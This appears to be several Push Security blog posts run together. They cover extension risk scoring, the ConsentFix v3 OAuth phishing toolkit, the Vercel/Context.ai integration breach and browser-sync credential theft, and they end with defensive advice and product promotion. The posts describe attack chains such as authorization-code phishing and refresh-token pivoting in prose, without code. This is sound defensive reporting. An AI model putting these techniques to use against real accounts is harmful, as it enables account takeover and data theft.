• Cyberhaven had approximately 400,000 users at the time of compromise. 

User ratings suffer from the same problems. Attackers use bot networks to generate positive reviews, and even genuinely clean extensions will carry good ratings right up until they're compromised. By the time users start leaving negative reviews the attack has already run its course.

Developer reputation and "Featured" and "Verified" badges fail for a related but slightly different reason: the attack typically doesn't come from a known-bad developer. It comes from a reputable developer whose account has been compromised, or from an extension that has changed hands. 

Extensions compromised in the broader campaign impacting Cyberhaven had been legitimate, well-maintained tools with strong developer reputations before the developer accounts were phished. Likewise, the QuickLens and ShotBird ownership transfer attacks in March 2026 involved extensions acquired through a legitimate marketplace, with malicious code introduced after the sale. Developer reputation at time of installation told you nothing about the developer at time of attack.

The net result across all of these signals is that the extensions most likely to appear in breach headlines — established tools with large user bases, good ratings, verified badges, and reputable developers — are precisely the ones that risk scoring would rate as low-risk.

Code analysis

Static analysis of extension code is the approach that sounds most rigorous, and it's the basis for Chrome Web Store's own review process. Google operates a hybrid system combining automated analysis and manual review, with manual review typically reserved for submissions that trigger specific signals such as sensitive permissions or large code volumes.

But attackers have developed reliable techniques to pass these checks, and the specific evasion methods used in major campaigns illustrate why static analysis consistently falls short. 

• The Cyberhaven compromise used dynamically loaded content fetched from a remote server via service workers, with the C2 infrastructure delivering different malicious configurations to different end-users — meaning that even if a scanner fetched the remote payload, it might receive a benign configuration depending on the target profile.

• The GhostPoster campaign (part of the broader DarkSpectre operation) took evasion further still: the extension waited 48 hours between configuration check-ins and only loaded a malicious payload 10% of the time. No sandbox is running for 48 hours, and a 10% activation rate means that nine out of ten analysis runs would see nothing at all.

These are not outlier techniques. Across the major campaigns documented since late 2024 — including the 108-extension campaign discovered in April 2026 — some combination of dynamically loaded payloads, conditional execution, time-delayed activation, and base64-encoded endpoints has been present in virtually every case. If these techniques are bypassing Google's own review infrastructure, which has both the scale and the incentive to detect them, they will bypass third-party code analysis tools as well.

It's also worth noting that Chrome Web Store policy explicitly disallows code obfuscation, precisely because it makes review impossible. The fact that attackers have found ways to hide malicious behavior without technically obfuscating their code speaks to the fundamental asymmetry at play: the attacker controls when and how malicious functionality appears, and static analysis can only evaluate what's present at the time of review.

But extension scores combine all of these things …

The obvious counterargument is that no serious risk scoring system relies on any single signal in isolation — the value is supposed to come from combining permissions, install count, ratings, code analysis, and developer reputation into a composite score that's more predictive than any individual input. In theory, this sounds like the right approach: weak signals aggregated together should produce a stronger signal.

In practice, combining signals that are individually unable to predict supply chain compromise doesn't produce a signal that can. Aggregating a set of backward-looking indicators doesn't make the aggregate forward-looking; it just gives you a more detailed description of the present state, which is the state before the attack has happened. No weighting or combination of install count, code behavior, and developer reputation would have flagged Cyberhaven, or DarkSpectre, or Trust Wallet before the malicious update shipped, because at that point every input to the composite score was returning a legitimate value.

Meanwhile, the indicators that do predict real-world compromise — an extension changing ownership, a developer account being phished, an update introducing behavior that wasn't present in prior versions, or an extension being explicitly confirmed as malicious through threat intelligence — aren't predictive risk score inputs. They're discrete events that require monitoring and an immediate response, not a recalculated number on a dashboard. This is an important distinction: the signals that matter are changes over time, not static attributes at a point in time, and they call for a detection-and-response workflow rather than a periodic risk review.

What works instead

If the goal is to reduce your exposure to extension-based supply chain compromise rather than to generate a ranked list of risk, the approach is operationally straightforward — even if it requires more discipline than deploying a scoring dashboard.

Reduce your attack surface through allowlisting

Build a complete inventory of every extension running across your environment — what's installed, how it got there (managed deployment, manual install, sideloaded, developer mode), what permissions it has, who's using it, and whether it serves a legitimate work purpose. Then create a strict allowlist of vetted and approved extensions and block everything else.

This is the same default-deny approach that's been best practice for firewall policy and endpoint allowlisting for decades. In Push, it works like building a firewall rule: a global block rule at the bottom that disables all browser extensions, with explicit exceptions above it for approved tools. Users who attempt to install unapproved extensions see a block screen.

The key insight is that every extension you don't really need, but haven't blocked, is attack surface that exists for no business reason. Most organizations are surprised by how many of the extensions in their environment are unused, forgotten, or have readily available alternatives. Reducing the population of installed extensions to only the ones that serve a genuine work purpose is the single most effective thing you can do — and it doesn't require a risk score to accomplish.

Monitor for changes that indicate weaponization

Once you have a controlled baseline, the risk shifts from unmanaged installations (those are blocked) to changes in the extensions you've already approved. These are the signals that map to real-world attack patterns and serve as leading indicators of weaponization:

• Ownership changes — an extension changing hands is one of the most reliable precursors to supply chain compromise, as demonstrated by the QuickLens and ShotBird attacks and the acquired-extension clusters documented by GitLab.

• Developer contact information changes — often an early indicator that an extension has been sold or that a developer account has been taken over.

• Permission escalations in updates — a previously-scoped extension suddenly requesting broad host permissions or cookie access.

• Delisting from the web store — can indicate that the store's review process has caught something, or that the developer has abandoned the extension.

• Known malicious classification — when an extension is confirmed as weaponized or linked to an active campaign through threat intelligence. (Push blocks known-bad extensions automatically).

To make this concrete: Push emits structured events via webhook whenever extension metadata changes that captures all of the variables above. These these can be fed directly into your SIEM or SOAR workflows, making it easy for security teams to detect when a meaningful change occurs. An ownership change on its own warrants investigation; an ownership change paired with a new version and added permissions warrants an immediate block pending review.

Push detects these changes in real time and can automatically block an extension when a meaningful risk indicator fires, before the damage propagates. This is fundamentally different from a periodic risk score: rather than attempting to predict which extensions might go bad based on static attributes, Push monitors for the specific events that precede or accompany weaponization in the attacks we've actually observed.

The bottom line

Traditional extension risk scores — based on permissions, store metadata, code analysis, and developer reputation — are poor predictors of which extensions will actually compromise you. The extensions involved in the major breaches of the past 18 months consistently scored as normal or low-risk right up until the moment they were weaponized. If your extension management strategy is built around "identify the riskiest extensions and remove them," the extension that gets you is the one that wasn't on the list.

Browser extensions are software. They're third-party code running with significant privilege inside the browser, capable of reading and modifying page content, accessing cookies and session tokens, and interacting with virtually every web application your employees use. Like any other software dependency — OAuth integrations being another relevant recent example in public breaches — each one expands your attack surface.

The principles behind managing browser extensions need to be the same as any other software — default-deny, build an allowlist, monitor and maintain that allowlist. This might trigger some PTSD for security teams, but it shouldn’t. On the endpoint, application allowlisting has always been operationally painful — diverse workflows, unpredictable application needs, and the overhead of vetting every binary made it impractical for most organizations outside of high-security environments. In the browser, it’s not that serious. You’re not going to brick an endpoint by blocking a third-party browser extension. 

The browser is one of the few environments where an allowlisting approach is both technically feasible and operationally lightweight: use it to your advantage. 

Push detects and blocks malicious browser extensions, and gives security teams the controls to enforce an extension allowlist and monitor for risky changes across every browser in the environment. Combined with protection against AiTM phishing, ClickFix attacks, session hijacking, and stolen credentials — plus proactive hardening for ghost logins, SSO coverage gaps, MFA gaps, and vulnerable passwords — Push provides browser-native visibility and control where it matters most.

To learn more about Push, check out our latest product overview, view our demo library, or book some time with one of our team for a live demo.

The quick 101 is that victims are tricked into copy-and-pasting a legitimate Microsoft URL into the phishing page. This URL contains an OAuth authorization code that the attacker uses to sign in to a first-party Microsoft application like Azure CLI — specifically targeting apps with known Conditional Access exclusions.

At the end of the attack chain, the attacker is effectively granted API access to the victim's Entra account, while sidestepping MFA (even passkeys), device compliance checks, and in some cases conditional access controls (depending on the application ID targeted by the attacker).

This attack is best understood as post-authentication. If the victim is already signed in to Microsoft in their browser, they simply need to select their account name from a drop-down menu. There’s almost no friction — no credential entry or MFA checks. This is very similar to device code phishing, another OAuth-based phishing technique, which we’ve seen increase 37x this year. More on that later.

It didn’t take long for security researchers to jump on this new technique. Lots of contributors rallied round the security recommendations (which we covered in a follow-up blog post) but the most notable contribution came from John Hammond, who took the attacker’s implementation and said “I can do better”. His v2 replaced a somewhat clunky implementation with a slick drag-and-drop function. But now, attackers have taken it one step further.

We recently joined forces with John in a webinar where we showed off ConsentFix along with a host of other browser-based attacks. If you joined us, you’ll have already had a quick look at what we’re about to talk about below! You can watch it on-demand here. And you can watch John’s follow up on ConsentFix v3 here — definitely worth a watch as always!

Introducing: ConsentFix v3

The latest development is that a member of the XSS criminal forum, a site strongly suspected to have Russian state involvement, has released a new tool “ConsentFix v3”, building on the v1 we saw in the wild, and John’s v2. 

It looks like broader cybercriminals are starting to take note of ConsentFix, and with the release of public tools like this one, it could be about to go mainstream — like device code phishing has this year. 

Let’s take a closer look at some of the more interesting details of the ConsentFix v3 implementation before considering the bigger picture.  

ConsentFix v3 under the hood

The first thing that jumps out is just how detailed this forum post is. It reads like a security vendor blog post. It walks through the key technical concepts that the reader needs to know, breaking down OAuth grants, consent phishing, refresh tokens, and FOCI (or 'Family of Client IDs' — basically, the feature that allows attackers to use a refresh token obtained for one Microsoft app to be exchanged for access tokens to other FOCI apps without re-authentication). It then walks through the history of ClickFix and ConsentFix before providing step-by-step guidance for users. 

ConsentFix v3 allows users to instrument the entire attack chain, enabling users to spin up ConsentFix infrastructure, create believable personas with which to interact with victims, craft and manage email campaigns, and automate the process of exchanging the captured OAuth token for session and refresh tokens to establish access to the compromised account. 

A combination of SaaS and open-source tools are used to perform the attack, including Cloudflare Workers for hosting, ZoomInfo for target identification, Dropbox for PDF hosting, and Pipedream as an exfiltration channel (effectively creating a webhook to automatically exchange the OAuth material in the URL for a refresh token). They also use hacker tools like SpecterPortal for post exploitation activity.

Why attackers are turning to OAuth-based attacks

Attackers are increasingly turning to OAuth based techniques in 2026. Not only are “legit” OAuth connections being abused in supply chain attacks, but attacks targeting OAuth mechanisms have significantly increased with the rise of device code phishing. This is because:

• OAuth attacks defeat standard access controls (including passkeys)

• It’s very low friction, and less likely that users will identify it as phishing (see examples below)

From the user’s perspective, these aren’t situations that users are trained to treat as suspicious. In one case, the victim copies a URL (or simply drag-and-drops a box on the page). In another, they enter a short passcode that’s visible on the page. 

Both are using pop-up windows that look very convincing — and point to legitimate Microsoft pages/URLs. Even users scrutinizing the domain won’t see anything out of place. And as you can see, if the user is already signed into their Microsoft account in the browser, there’s no credential entry or MFA checks to pass through. Simply select your account from the drop down menu and … that’s it.

This unfamiliarity is the same reason that attacks like ClickFix have been so successful. In general, convincing social engineering — well crafted comms, legit-looking pages hosted on trusted sites — combined with unfamiliar payloads makes for a clever attack. And when these attacks play out entirely in the browser (circumventing endpoint controls) and sidestep identity controls, the impact is dialled up even further.

How ConsentFix and device code phishing overlap

It was only ever going to be a matter of time before ConsentFix was adopted by the mass market. But these things don’t always happen particularly fast. Device code phishing is probably the best example of this — it’s been a known technique since 2021, but it took until this year to enter mainstream adoption. A big part of that has been the availability of criminal toolkits, and also the rise in AI-assisted capabilities for tool creation (clearly at play here too). The similarity with device code phishing doesn’t end there. 

Both ConsentFix and device code phishing are OAuth attacks. They both find ways of bypassing the standard login procedure (and controls) by targeting different authorization flows, but with a similar outcome and the same advantages to an attacker. Device code phishing exploits the device authorization grant (RFC 8628). ConsentFix exploits the authorization code grant (RFC 6749) as implemented for native/desktop apps with localhost redirects. 

The post-compromise paths are essentially identical because the tokens you get are determined by which app you target, what scopes it has, and the victim user’s permissions, not by which OAuth flow you used to obtain them. The authorization code flow and the device code flow are just different front doors into the same token issuance system.

The different application IDs that attackers can target here vary a little per technique based on the auth flows supported. FOCI apps present the broadest utility (particularly for non-admin targets) and can be targeted via both device code phishing and ConsentFix. In practice, this means an attacker who phishes a token for one app can silently pivot to access Outlook, Teams, OneDrive, SharePoint, and so on via API.

If they want to take it even further, they can use the well-known Primary Refresh Token (PRT) escalation technique to get seamless SSO across all Entra ID-connected applications and web services (basically upgrading to normal browser-level access). This requires that you specifically target the Microsoft Authentication Broker application, chaining it into a new device registration in the victim's environment. (This is the method that Storm-2372 used in a major 2025 device code phishing campaign.)

The verdict: An interesting sign of what’s coming, but maybe not the final form

It’s clear that ConsentFix v3 isn’t exactly an industrialized PhaaS-scale offering. It’s probably closer to a red team-esque proof of concept. But it is a good example of how attackers could operationalize ConsentFix campaigns using largely off-the-shelf tooling and legit SaaS tools. And an indicator of what might be coming soon. 

Security recommendations

To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. We’ll talk about how we do this below, but first here’s some general recommendations. 

Microsoft ecosystem

Despite the similarity with device code phishing, the primary recommendation from Microsoft for device code attacks — disable the device code flow via conditional access — doesn’t apply to ConsentFix (because, as mentioned, it uses a different login flow).

For both ConsentFix and device code phishing, the strongest recommendation is to create Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them to reduce the attack surface of users that can be phished with this method.

You should also hunt in logs for relevant application IDs and resource IDs, and look for mismatches in terms of the initial access IP and subsequent activity, because while the initial login is performed by the user, subsequent actions will be performed by the attacker.  

This is a great resource from Fabian Bader and Dirk-jan Mollema enabling you to search through first-party Microsoft apps, resource IDs, FOCI apps, apps with conditional access exclusions, and those vulnerable to ConsentFix attacks. You’d need to go through the process of creating Service Principals for them and assign specific users based on required access. You’d want to do this for all of the apps that come with pre-consented permissions, conditional access exclusions, FOCI, and so on. But of course if an assigned user gets phished, the attack can still succeed.

Beyond Microsoft — Google, GitHub, Salesforce, AWS

It’s worth calling out that these recommendations are Microsoft specific. While in-the-wild exploitation has focused on Microsoft, GitHub, Salesforce, AWS and others are also impacted by device code phishing, supporting device code flow either as a primary or fallback mechanism (Google less so due to inherent restrictions on scopes authorized in the context of device code logins). 

Similarly, ConsentFix principles can be applied beyond Microsoft too. The core requirement is that an OAuth code ends up in a location the victim can manually see and share, e.g. a localhost redirect where no listener is present to complete the handshake. Google Cloud CLI, GitHub CLI, and others support the auth code grant and allow localhost as a redirect URI. 

How Push can help

We’re already detecting and blocking both ConsentFix and device code phishing attacks as they target users in their web browser. When a page matches our detections for a device code or ConsentFix phishing kit (not limited to things like known-bad IPs and domains, but DOM-level analysis of the web page) Push detects and blocks it. Unlike an SWG or RBI type solution, Push analyzes every web page in every browser session and tab, in real time, with no latency. 

Using Push you can also configure in-browser warnings whenever a user accesses a URL used for device code logins, across any app that supports them. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  

When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing these pages if you’re confident that disruption won’t be caused. 

Learn more about Push

Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, device code phishing, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your attack surface.

To learn more about Push, check out our latest product overview, view our demo library, or book some time with one of our team for a live demo.

This happened because a Vercel employee had connected an AI app, Context.ai, into their Google Workspace tenant. When Context.ai was compromised — allegedly the result of an infostealer infection from an employee searching for Roblox cheats — the attacker was able to leverage OAuth tokens stored in Context.ai’s Supabase platform to access downstream customer accounts (pointing to a heavily permissioned victim, probably a developer, possibly even a personal device with access to corp credentials). 

This access included a Vercel employee’s Google Workspace account. This particular user had significant access to data and secrets in Vercel’s systems, including internal dashboards, employee records, API keys, NPM tokens, and GitHub tokens, which the attacker was able to exfiltrate, holding Vercel to ransom for $2 million.

How did this happen, and what could have stopped it?

From Vercel’s perspective, this attack could have been avoided had their employees been blocked from adding new OAuth integrations without admin approval (a toggle in their Google admin panel, and an essential control in a well-configured environment). Or, if the integration had been flagged in a routine audit and removed. 

An all-too-common tale in the modern enterprise is the SaaS app that was trialled by a single employee, lightly used, integrated with core app tenants, and forgotten about — adding an invisible node to the organization’s attack surface.

It probably should have been removed, too. The particular OAuth app that was connected into the environment was a deprecated “AI Office Suite” product intended for consumer use. According to Context.ai, Vercel aren’t even a registered customer — adding more evidence that this was probably the result of a self-service trial that was subsequently forgotten about. That consumer product has also since been replaced by an enterprise product. But for whatever reason, the access hadn’t been revoked (from either side). 

The elephant in the room is that Context.ai is an AI app. Most organizations are rightly nervous about employees adding unapproved AI SaaS into their environment. Having employees use shadow AI in the form of LLMs is one thing — users uploading sensitive data to unapproved apps or external tenants being the key concern. But OAuth grants are even more dangerous. Because if that app or vendor is compromised, the apps and accounts you’ve integrated it with are also at risk — which is what was exploited here. 

Where’s the fault?

It’s easy to point fingers here. There are multiple control gaps and failures for both parties. Vercel should have disabled OAuth grants without admin approval, and regularly audited the connections in their environment. From a vendor's perspective, they could have also default applied a control that prevents secret environment variables from being read — which would have significantly reduced the impact to Vercel customers from the data breach.

Context.ai comes off worse. They could and should have had better separation of accounts and privileges — and if true, their users really shouldn’t be downloading Roblox scripts on devices they use for work access. It’s important to say if true here, but the prospect of third parties accessing your environment from insecure devices that they use for gaming is the stuff of nightmares for enterprise security and compliance teams.

You definitely don’t want to be Context.ai in this scenario. The reputational harm could be pretty significant, and is a wake-up call for other SaaS vendors to check that their house is in order. But although Vercel have responded quickly and transparently to the incident, this could only really have happened as a result of technical and procedural control gaps on their end.

It’s worth taking a step back and looking at the bigger picture here — and how these issues might impact your organization too. 

Shadow AI is still just shadow SaaS – but the AI scramble is a force multiplier

Shadow IT, and in particular shadow SaaS, is not a new problem. Most organizations run heavily (or exclusively) on SaaS, accessed in the browser, with hundreds of apps per enterprise. Unmanaged, self-adopted apps have been a thorn in the side of security teams for some time. 

There are essentially four kinds of shadow IT to be wary of in the context of AI apps:

• Shadow apps: Apps that employees have signed up to and are using for business purposes without business approval. This includes apps signed up to with a corporate account or personal account. 

• Shadow tenants: Apps that employees are accessing with personal accounts, essentially creating shadow tenants outside of your organization’s control — even if you’ve approved the app itself.

• Shadow extensions: Many AI apps come with an extension counterpart, along with countless third-party extensions that are either untrustworthy or downright malicious. Browser extensions add another angle to the equation by presenting visibility beyond the application into browser activity.

• Shadow integrations: OAuth connections across apps that aren’t known or approved. Even if an app itself is approved, plugging that app directly into your primary enterprise apps — with all the sensitive data and functionality therein — isn't necessarily also approved.

In the Vercel case, we’re talking specifically about shadow integrations. But all of these present a key risk to your organization.

The web of OAuth sprawl spans way beyond Google and Microsoft 

On average we see 17 unique AI app integrations per organization in Microsoft and Google alone. If you consider that most organizations have probably approved 1 or 2 max for business use, and may have approved none at all for app-to-app OAuth connectivity, that’s quite a significant difference. 

The number of connections outside of these core platforms is significantly higher. Just think how the typical AI app operates. If you want it to be able to effectively automate workflows — pull data from one app, aggregate and analyze it in another, present that information in a report, dashboard, or presentation, and then distribute it — that’s a fair few integrations in just one workflow. MCP connections use OAuth to achieve this interconnectivity in the same way as any other SaaS app.

We used to talk about automation apps like Zapier as being a goldmine for attackers. Well, AI apps are on their way to being even more interconnected, more frequently used, and more flexible in terms of how attackers can abuse them. 

A note on OAuth configuration complexity

A common misconception is that when a regular user consents to an OAuth app (let's use Google Workspace as the example) the app only gets access to the things they can directly access. Technically that's true — the access is scoped to that user's permissions. But in practice, the blast radius is almost always bigger than people think.

The scope includes shared drives, shared calendars, documents shared with them, and any other collaborative resources. A single well-permissioned user (think: developer with access to secrets, dashboards, and internal tooling) is more than enough to cause serious damage through a single OAuth grant.

The scopes themselves are often deceptively broad. An app requesting https://www.googleapis.com/auth/drive gets full read/write access to everything the user can see in Drive — not just their personal files. And the blast radius is further contingent on the data and user permission hygiene in these broader environments.

So if your environment hasn't got cleanly separated access and permissions for different users and groups, an attacker compromising a "normal" user account can end up with extensive access. You don't need tenant-wide admin access when a normal user's access already spans the crown jewels.

Unsurprisingly, OAuth breaches are stacking up

Widespread OAuth interconnectedness isn’t just an AI app problem. Attackers have been exploiting this for some time:

• In 2025, Scattered Lapsus$ Hunters launched OAuth-driven supply chain attacks against Salesforce and Google Workspace tenants after breaching Salesloft (specifically the Salesloft Drift platform) and Gainsight. In total, over 1000 organizations were impacted, including Google, Cloudflare, Rubrik, Elastic, Proofpoint, JFrog, Zscaler, Tenable, Palo Alto Networks, CyberArk, BeyondTrust, Qualys, and many more, with over 1.5B records stolen. 

• More recently, Snowflake customers were impacted after a breach at data anomaly detection company Anodot where the attacker attempted to leverage the stolen authentication tokens to access Salesforce data, with Rockstar a high-profile victim of the breach (again linked to Scattered Lapsus$ Hunters). 

Not only are attackers abusing existing (legitimate) OAuth connections as part of supply chain attacks, but they’re using OAuth-focused phishing as the front door to victim environments. Last year’s Salesforce campaign began with device code phishing, where attackers tricked victims into registering an attacker-controlled app into their Salesforce tenant, granting full API access for mass data exfiltration.

Infostealers continue to drive corporate breaches

While unverified, Hudson Rock’s case for an infostealer breach being the root cause of the Context.ai breach seems believable. Infostealer infections have been one of the leading security threats for some time, fuelling breaches powered by stolen credentials and session tokens.

With the assumed rise in MFA coverage, it’s often surprising to security teams that stolen credentials are still a problem. But of the last million logins we saw, 1 in 4 were password logins (not SSO), 2 in 5 were not protected by MFA, and 1 in 5 used a weak, breached, or reused password. Plenty of scope for abuse. 

Stolen session tokens are even more valuable to attackers, enabling them to bypass authentication controls by replaying the token in their own browser. In theory, they should only be valid for a limited timeframe, but in practice this can be as many as 90 days, and sometimes indefinite. 

In this case, it seems likely that the compromised device was a developer machine (given the access to Supabase), or potentially even a personal device (given they were installing Roblox cheats…). This is relevant because these personal, developer, and BYOD machines are often less secure — developer machines are often exempt from EDR monitoring or significantly tuned-down (too noisy), while personal devices naturally lack enterprise security software.

If you’re wondering how a personal device could result in corporate credential leakage, browser syncing (where users sign into their personal account in a corporate browser) can lead to this exact scenario. And given Vercel’s potentially lacking controls around OAuth integrations in their Workspace, it’s also possible that browser syncing had not been identified as a security risk and disabled. 

The 2025 Verizon DBIR reported that 54% of all ransomware attacks traced back to infostealer-enabled credential theft. 46% of systems with compromised corporate credentials were non-managed devices.

We’ve also seen an uptick in developer-oriented phishing and malvertising campaigns. The InstallFix campaign we identified, intercepting users as they attempt to install AI tools like Claude Code and NotebookLM, is an example of this — and also another way that attackers are capitalizing on AI hype. 

Advice for security teams

There are some immediate next steps that we’ll quickly summarize here, as they've already been covered in wider reporting. If you’re a Vercel customer, you should urgently rotate every credential stored as a non-sensitive variable that could have been exposed, enable the sensitive variable feature toggle, and monitor your account for anomalous activity. And if you’re using the specific Context.ai integration, you need to revoke it ASAP and begin a full audit of the connected accounts, both inside Workspace and broader connected apps (this isn’t that easy, as we’ll highlight in a moment).

OAuth App: 110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj.apps.googleusercontent.com

Taking a step back, organizations really need to get their arms around OAuth integrations in their environment. A default-deny approach to allowing users to consent to new integrations, and routinely auditing the ones already in your environment to ensure they’re still definitely required, is essential. Each integration expands your attack surface and could potentially grant an attacker extensive access to your environment. This default-deny approach isn't exactly a new concept for security teams and is the same in principle as what we recently advised for browser extension management. 

This is fairly straightforward in your main enterprise cloud environment (think M365 or Google Workspace). But doing it across every SaaS app that allows some level of OAuth integration with another (i.e. every SaaS app) is somewhat harder. Not only do you need to have a comprehensive and up-to-date inventory, you need to be an app admin for every app (not always the case for self-adopted apps) and the particular app needs to give you the control to restrict and remove OAuth grants on behalf of users in your tenant. 

Again, this is not exclusively a Shadow AI problem, even if AI adoption is contributing significantly to the sprawl. 

Since the breach was initially reported, it has also emerged that Context.ai’s browser extension has also been pulled from the Chrome store. It’s unclear whether attackers were able to publish a malicious extension update too, whether the extension was removed at Context.ai’s request (because the app has been deprecated), or Google pulled it down as a precaution in light of the incident.

How Push can help

As we’ve established, there are quite a few pieces to this puzzle. Push can help with all of them.

Push observes every app login your employees make in their browser, building a comprehensive picture of SaaS and AI use across your organization. This includes how they’re logging in and how secure the login is: did it have MFA, what kind of MFA, was it using a weak or compromised password, did they use SSO, and so on. 

Push also tracks OAuth integrations in your environment and gives you the ability to manage and remove them in core environments like M365 and Google Workspace, providing a single platform for you to view, manage, and secure app use across your organization. 

This makes it easy to surface both vulnerabilities and possible control gaps, and do something about them. But where Push really excels is in the ability to observe and block OAuth connection requests even outside of your primary enterprise apps. Using Push, you can detect and block OAuth integration requests as they traverse the browser. This app-agnostic level of control is absolutely critical to halting OAuth integration sprawl.

And that’s not all …

Push’s browser-based security platform also detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, device code phishing, ClickFix, and session hijacking in real time. This includes the most prominent infostealer delivery vectors in terms of malvertising and *Fix-style attacks. Push analyzes every web page in every browser session and tab for threats, in real time, with no latency. 

But as we've established, you don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your attack surface.

To learn more about Push, check out our latest product overview, view our demo library, or book some time with one of our team for a live demo.

Most browser extension attacks are really targeting the apps your users are accessing inside the browser. They do this by intercepting credentials (passwords, session cookies, and so on) as you browse the internet. 

This is the same for most browser-based attacks, like phishing (of multiple varieties, with AITM phishing and device code phishing being the most common in 2026), and even hybrid attacks like ClickFix (trick victim into installing an infostealer on their device > steal credentials and cookies > log into apps). 

But there’s an often overlooked vector that leads to the same outcome — synced browser profiles. And the most dangerous part of this attack is that it often stems from personal device compromises — naturally, outside the scope of your corporate security software. 

Sign into Chrome or Edge with a Google or Microsoft account, and your passwords, bookmarks, history, and extensions follow you seamlessly across every device. For individual users, it's a quality-of-life improvement. But for organizations, it links corporate accounts to personal ones with far weaker security controls. 

How browser sync attacks work

When an employee signs into a personal browser profile on a work device (or saves work credentials on a personal device), the browser's sync mechanism copies those credentials into a cloud account outside the organization's control. That cloud account — typically a personal Google or Microsoft account — becomes the weakest link in the chain.

The typical sequence looks like this:

An employee signs into Chrome with their personal Google account on a corporate laptop. During the course of their work, the browser prompts them to save passwords — for a VPN, an internal tool, a support system, a cloud platform. They click "Save." The credential is now stored locally in the browser and synced to their personal Google account in the cloud.

The personal account is compromised. This can happen in a lot of ways, and is made easier by the less secure nature of personal accounts. They are typically accessed from devices with less or no security protection, while MFA and other identity-layer controls are less common. Once the personal device or account is breached, every synced password — including corporate ones — is in the hands of the attacker. 

Personal devices are far softer targets than corporate endpoints. They typically have no EDR agent, no centrally managed antivirus, no hardened configuration baselines, and no security operations team watching for alerts. And personal browsing habits are way more likely to lead to infostealer deployment, which are often distributed through malicious advertisements on all manner of platforms — search results, social media ads, gaming forums, and so on. Notably, the 2025 Verizon DBIR found that 46% of infostealer-infected systems with compromised corporate credentials were non-managed devices.

With the harvested corporate credentials, the attacker authenticates to the organization's systems. If MFA is absent or bypassable (via fatigue attacks, social engineering, or session token reuse), they're in.

From here, it's a conventional intrusion — privilege escalation, reconnaissance, and exfiltration. But the initial access was entirely outside the defender's visibility. No phishing email hit the corporate mail gateway. No exploit was fired at a corporate asset. The compromise happened in a personal context that security teams had no control over.

What makes this attack so effective is that it entirely bypasses the corporate security stack. Endpoint detection, email filtering, network monitoring — none of it sees the initial compromise because it happens on a personal device or in a personal cloud account.

The scope isn’t limited to “personal” devices either. BYOD and contractor machines suffer from the same security limitations in that they are a place where personal and corporate use converges, and/or they sit outside of the scope of your security tooling. 

Real-world incidents

Cisco (2022)

Cisco was breached by an initial access broker with ties to the Yanluowang ransomware group, UNC2447, and the Lapsus$ threat actor group. 

A Cisco employee had enabled Chrome's password syncing feature and had stored their Cisco VPN credentials in the browser. Those credentials were synchronized to their personal Google account. The attacker compromised the personal Google account, obtained the VPN credentials, and then used a combination of voice phishing and MFA fatigue — repeatedly sending push notifications until the employee accepted one — to bypass multi-factor authentication and gain VPN access.

Once inside the network, the attacker escalated privileges, moved laterally to Citrix servers and domain controllers, and deployed offensive tooling consistent with pre-ransomware activity. Cisco's security team ultimately detected and removed the attacker before ransomware was deployed, but the adversary made repeated attempts to regain access in the following weeks, including targeting accounts where employees had only made single-character password changes after the company-wide reset.

Okta (2023)

The Okta breach followed an almost identical pattern to Cisco, but with more severe downstream consequences.

Between September 28 and October 17, 2023, an attacker gained unauthorized access to Okta's customer support case management system. The root cause: an Okta employee had signed into their personal Google profile on Chrome on their Okta-managed laptop. While signed into that personal profile, they accessed a service account for the support system. The service account's username and password were saved by Chrome and synced to the employee's personal Google account.

The attacker — having compromised either the personal Google account or a personal device — obtained these service account credentials and used them to access the support system. The compromised service account had permissions to view and update customer support cases, which contained HAR (HTTP Archive) files uploaded by customers for troubleshooting. Some of these HAR files contained session tokens.

The attacker used the stolen session tokens to hijack the legitimate Okta sessions of five customers, including 1Password, BeyondTrust, and Cloudflare — three security companies that independently detected the suspicious activity and reported it to Okta. In total, files associated with 134 Okta customers were accessed.

What made this breach particularly notable was the detection gap. Okta's security team was unable to identify suspicious file downloads in their logs for 14 days. The attacker navigated directly to the Files tab in the support system rather than opening files through individual support cases, which generated a different log event type that wasn't part of the initial investigation scope. It wasn't until BeyondTrust provided a suspicious IP address on October 13 that Okta was able to correlate the activity.

Snowflake (customers) (2024)

The Snowflake campaign represents what happens when the browser-credential-sync problem meets infostealer malware at scale. 

In 2024, a financially motivated threat actor tracked as UNC5537 (associated with the ShinyHunters group) systematically compromised approximately 165 Snowflake customer environments. The attackers didn't exploit any vulnerability in Snowflake itself. They logged in with valid credentials.

Those credentials had been harvested by infostealer malware — including Vidar, RedLine, Lumma, RisePro, Raccoon Stealer, and MetaStealer — from employee and contractor devices over a period stretching back to 2020. Mandiant's investigation found that over 80% of the compromised accounts had prior credential exposure, and critically, the stolen credentials had never been rotated.

The personal/corporate boundary failure was central to the campaign. Mandiant specifically noted that in several cases, the initial infostealer infections occurred on contractor systems that were also used for personal activities, including gaming and downloads of pirated software. These were personal or unmonitored laptops where corporate credentials had been saved in the browser alongside everything else.

The impacted Snowflake accounts lacked MFA (which Snowflake did not enforce by default at the time), and the attackers used a custom tool to automate SQL-based reconnaissance and data exfiltration across customer instances. The stolen data encompassed hundreds of millions of customer records, and at least one victim paid an undisclosed ransom.

What security teams can do about it

Chrome Enterprise and Microsoft Edge for Business both support policies that prevent employees from signing into personal accounts on corporate-managed browsers. This is the most direct control. It doesn't prevent all credential leakage scenarios, but it closes the sync-to-personal-cloud path.

